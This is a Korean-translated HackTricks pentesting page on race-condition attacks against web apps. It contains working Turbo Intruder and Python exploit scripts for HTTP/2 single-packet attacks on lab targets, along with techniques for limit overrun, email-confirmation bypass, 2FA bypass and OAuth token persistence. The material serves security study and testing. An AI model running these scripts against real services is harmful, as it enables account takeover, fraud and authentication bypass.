hacktricks/pentesting-web/race-condition.md

24 KiB

Race Condition


Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
지금 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}

{% hint style="warning" %} 이 기술에 대한 깊은 이해를 얻으려면 https://portswigger.net/research/smashing-the-state-machine에서 원본 보고서를 확인하세요. {% endhint %}

레이스 조건 공격 강화

레이스 조건을 이용하는 데 있어 주요 장애물은 여러 요청이 동시에 처리되도록 보장하는 것입니다. 처리 시간의 차이가 매우 적어야 하며, 이상적으로는 1ms 미만이어야 합니다.

여기 요청 동기화를 위한 몇 가지 기술이 있습니다:

HTTP/2 단일 패킷 공격 vs. HTTP/1.1 마지막 바이트 동기화

  • HTTP/2: 단일 TCP 연결을 통해 두 개의 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동으로 인해 두 개의 요청만으로는 일관된 레이스 조건 공격이 불가능할 수 있습니다.
  • HTTP/1.1 '마지막 바이트 동기화': 20-30개의 요청의 대부분을 미리 전송하고, 작은 조각을 보류한 후 함께 전송하여 서버에 동시에 도착하도록 합니다.

마지막 바이트 동기화를 위한 준비는 다음과 같습니다:

  1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 본문 데이터를 전송합니다.
  2. 초기 전송 후 100ms 동안 일시 중지합니다.
  3. TCP_NODELAY를 비활성화하여 Nagle의 알고리즘을 사용하여 최종 프레임을 배치합니다.
  4. 연결을 준비하기 위해 핑을 보냅니다.

보류된 프레임을 이후에 전송하면 단일 패킷으로 도착해야 하며, Wireshark를 통해 확인할 수 있습니다. 이 방법은 일반적으로 RC 공격에 포함되지 않는 정적 파일에는 적용되지 않습니다.

서버 아키텍처에 적응하기

대상의 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있으며, 이는 타이밍에 영향을 미칩니다. 무의미한 요청을 통해 서버 측 연결을 미리 준비하면 요청 타이밍을 정상화할 수 있습니다.

세션 기반 잠금 처리

PHP의 세션 핸들러와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 숨길 수 있습니다. 각 요청에 대해 다른 세션 토큰을 사용하면 이 문제를 우회할 수 있습니다.

속도 또는 리소스 제한 극복

연결 준비가 효과적이지 않은 경우, 더미 요청의 홍수를 통해 웹 서버의 속도 또는 리소스 제한 지연을 의도적으로 유발하여 레이스 조건에 유리한 서버 측 지연을 유도할 수 있습니다.

공격 예시

  • Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트): 요청을 Turbo intruder에 보낼 수 있습니다 (Extensions -> Turbo Intruder -> Send to Turbo Intruder), 요청에서 **%s**에 대해 강제로 변환할 값을 변경할 수 있습니다. 예: csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s 그리고 드롭다운에서 **examples/race-single-packer-attack.py**를 선택합니다:

다른 값을 보내려면, 클립보드에서 단어 목록을 사용하는 이 코드로 수정할 수 있습니다:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} 웹이 HTTP2를 지원하지 않는 경우(오직 HTTP1.1만 지원) Engine.THREADED 또는 Engine.BURPEngine.BURP2 대신 사용하세요. {% endhint %}

  • Tubo Intruder - HTTP2 단일 패킷 공격 (여러 엔드포인트): RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 그 후 여러 엔드포인트에 요청을 보내야 하는 경우, race-single-packet-attack.py 스크립트를 다음과 같이 변경할 수 있습니다:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Burp Suite의 새로운 '병렬로 그룹 전송' 옵션을 통해 Repeater에서도 사용할 수 있습니다.
  • limit-overrun의 경우, 그룹에 같은 요청을 50번 추가하면 됩니다.
  • connection warming을 위해, 그룹의 시작 부분에 웹 서버의 비정적 부분에 대한 요청추가할 수 있습니다.
  • 지연을 위해 하나의 요청과 다른 요청 간의 처리 사이에 2단계 하위 상태에서 추가 요청을 추가할 수 있습니다.
  • 다중 엔드포인트 RC의 경우, 숨겨진 상태로 가는 요청을 먼저 보내고, 그 뒤에 숨겨진 상태를 악용하는 50개의 요청을 보낼 수 있습니다.
  • 자동화된 파이썬 스크립트: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다(이는 코드에서 이메일을 수정할 수 있는 RC가 발견되었지만 확인이 이전 이메일로 전송되도록 이미 첫 번째 이메일로 채워진 변수가 있었기 때문입니다).
    "objetivo"라는 단어가 수신된 이메일에서 발견되면 변경된 이메일의 확인 토큰을 수신한 것이며 공격을 종료합니다.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Improving Single Packet Attack

원래 연구에서는 이 공격이 1,500 바이트의 한계를 가지고 있다고 설명합니다. 그러나 이 게시물에서는 IP 레이어 분할을 사용하여 단일 패킷 공격의 1,500 바이트 제한을 TCP의 65,535 B 윈도우 제한으로 확장하는 방법이 설명되었습니다(단일 패킷을 여러 IP 패킷으로 나누고 서로 다른 순서로 전송하여 모든 조각이 서버에 도달할 때까지 패킷 재조립을 방지함). 이 기술을 통해 연구자는 약 166ms 만에 10,000개의 요청을 보낼 수 있었습니다.

이 개선이 수백/수천 개의 패킷이 동시에 도착해야 하는 RC에서 공격을 더 신뢰할 수 있게 만들지만, 일부 소프트웨어 제한이 있을 수 있다는 점에 유의하십시오. Apache, Nginx 및 Go와 같은 일부 인기 있는 HTTP 서버는 각각 100, 128 및 250으로 설정된 엄격한 SETTINGS_MAX_CONCURRENT_STREAMS 설정을 가지고 있습니다. 그러나 NodeJS 및 nghttp2와 같은 다른 서버는 무제한입니다.
이는 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 것을 의미합니다(이 RC 공격을 제한함).

이 기술을 사용하는 몇 가지 예는 레포지토리 https://github.com/Ry0taK/first-sequence-sync/tree/main에서 찾을 수 있습니다.

Raw BF

이전 연구 이전에 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 있었습니다.

  • Repeater: 이전 섹션의 예를 확인하십시오.
  • Intruder: Intruder요청을 보내고, 옵션 메뉴에서 스레드 수30으로 설정하고, 페이로드로 Null payloads를 선택하고 30을 생성합니다.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • 파이썬 - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

이것은 행동을 수행할 수 있는 횟수를 제한하는 곳에서 발생하는 취약점의 가장 기본적인 유형입니다. 예를 들어, 웹 상점에서 동일한 할인 코드를 여러 번 사용하는 경우입니다. 매우 쉬운 예는 이 보고서 또는 이 버그에서 찾을 수 있습니다.

이러한 종류의 공격에는 여러 가지 변형이 있습니다:

  • 기프트 카드를 여러 번 사용하기
  • 제품에 대해 여러 번 평가하기
  • 계좌 잔액을 초과하여 현금을 인출하거나 이체하기
  • 단일 CAPTCHA 솔루션 재사용하기
  • 반 브루트 포스 속도 제한 우회하기

Hidden substates

복잡한 레이스 조건을 악용하는 것은 종종 숨겨진 또는 의도하지 않은 기계 하위 상태와 상호작용할 수 있는 짧은 기회를 이용하는 것을 포함합니다. 접근 방법은 다음과 같습니다:

  1. 잠재적 숨겨진 하위 상태 식별
  • 사용자 프로필이나 비밀번호 재설정 프로세스와 같은 중요한 데이터를 수정하거나 상호작용하는 엔드포인트를 파악하는 것부터 시작합니다. 다음에 집중하세요:
  • 저장소: 클라이언트 측 데이터를 처리하는 것보다 서버 측 지속 데이터를 조작하는 엔드포인트를 선호합니다.
  • 작업: 기존 데이터를 변경하는 작업을 찾습니다. 이는 새로운 데이터를 추가하는 것보다 악용 가능한 조건을 생성할 가능성이 더 높습니다.
  • 키잉: 성공적인 공격은 일반적으로 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 키가 지정된 작업을 포함합니다.
  1. 초기 탐색 수행
  • 식별된 엔드포인트에 대해 레이스 조건 공격을 테스트하고 예상 결과와의 편차를 관찰합니다. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 신호할 수 있습니다.
  1. 취약점 입증
  • 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 좁힙니다. 종종 두 개의 요청만 필요합니다. 이 단계는 정밀한 타이밍이 필요하기 때문에 여러 번의 시도나 자동화가 필요할 수 있습니다.

시간 민감 공격

요청의 타이밍을 정밀하게 조정하면 취약점을 드러낼 수 있습니다. 특히 보안 토큰에 타임스탬프와 같은 예측 가능한 방법이 사용될 때 그렇습니다. 예를 들어, 타임스탬프를 기반으로 비밀번호 재설정 토큰을 생성하면 동시에 요청에 대해 동일한 토큰이 허용될 수 있습니다.

악용 방법:

  • 단일 패킷 공격과 같은 정밀한 타이밍을 사용하여 동시 비밀번호 재설정 요청을 합니다. 동일한 토큰은 취약점을 나타냅니다.

예시:

  • 두 개의 비밀번호 재설정 토큰을 동시에 요청하고 비교합니다. 일치하는 토큰은 토큰 생성의 결함을 나타냅니다.

이것을 확인하세요 PortSwigger Lab 에서 시도해 보세요.

Hidden substates 사례 연구

Pay & add an Item

PortSwigger Lab를 확인하여 상점에서 지불하고 추가 아이템을 추가하는 방법을 알아보세요. 지불할 필요가 없습니다.

Confirm other emails

아이디어는 이메일 주소를 확인하고 동시에 다른 이메일로 변경하여 플랫폼이 변경된 새 이메일을 확인하는지 알아보는 것입니다.

이 연구에 따르면 Gitlab은 이 방법으로 인수 공격에 취약했습니다. 왜냐하면 하나의 이메일의 이메일 확인 토큰을 다른 이메일로 보낼 수 있기 때문입니다.

이것을 확인하세요 PortSwigger Lab 에서 시도해 보세요.

Hidden Database states / Confirmation Bypass

데이터베이스정보를 추가하기 위해 2개의 서로 다른 쓰기가 사용되면, 첫 번째 데이터만 데이터베이스에 기록된 짧은 시간이 있습니다. 예를 들어, 사용자를 생성할 때 사용자 이름비밀번호기록되고 새로 생성된 계정을 확인하기 위한 토큰이 기록됩니다. 이는 짧은 시간 동안 계정을 확인하기 위한 토큰이 null임을 의미합니다.

따라서 계정을 등록하고 빈 토큰(token= 또는 token[]= 또는 기타 변형)을 사용하여 즉시 계정을 확인하기 위한 여러 요청을 보내면 이메일을 제어하지 않는 계정을 확인할 수 있습니다.

이것을 확인하세요 PortSwigger Lab 에서 시도해 보세요.

Bypass 2FA

다음 의사 코드는 레이스 조건에 취약합니다. 왜냐하면 세션이 생성되는 동안 2FA가 적용되지 않는 매우 짧은 시간이 있기 때문입니다:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 영구 지속성

여러 OAUth 제공자가 있습니다. 이러한 서비스는 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 클라이언트귀하의 애플리케이션OAUth 제공자 내의 일부 데이터에 접근할 수 있도록 허용해야 합니다.
여기까지는 구글/링크드인/깃허브 등으로 로그인하는 일반적인 과정으로, "애플리케이션 <InsertCoolName>이 귀하의 정보에 접근하고자 합니다. 허용하시겠습니까?"라는 페이지가 표시됩니다.

authorization_code의 경쟁 조건

문제는 귀하가 허용할 때 발생하며, 악의적인 애플리케이션에 **authorization_code**가 자동으로 전송됩니다. 그런 다음 이 **애플리케이션은 OAUth 서비스 제공자의 경쟁 조건을 악용하여 귀하의 계정에 대해 **authorization_code로부터 여러 개의 AT/RT (인증 토큰/리프레시 토큰)를 생성합니다. 기본적으로, 애플리케이션이 귀하의 데이터에 접근하도록 허용한 사실을 악용하여 여러 계정을 생성합니다. 그런 다음, 귀하가 애플리케이션이 귀하의 데이터에 접근하는 것을 중지하면 한 쌍의 AT/RT가 삭제되지만, 다른 것들은 여전히 유효합니다.

Refresh Token의 경쟁 조건

유효한 RT얻은 후, 여러 개의 AT/RT를 생성하기 위해 악용할 수 있으며, 사용자가 악의적인 애플리케이션이 자신의 데이터에 접근하는 권한을 취소하더라도, 여러 RT는 여전히 유효합니다.

웹소켓의 RC

WS_RaceCondition_PoC에서 웹소켓경쟁 조건을 악용하기 위해 병렬로 웹소켓 메시지를 전송하는 Java PoC를 찾을 수 있습니다.

참고 문헌

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}


Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 접근하세요:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}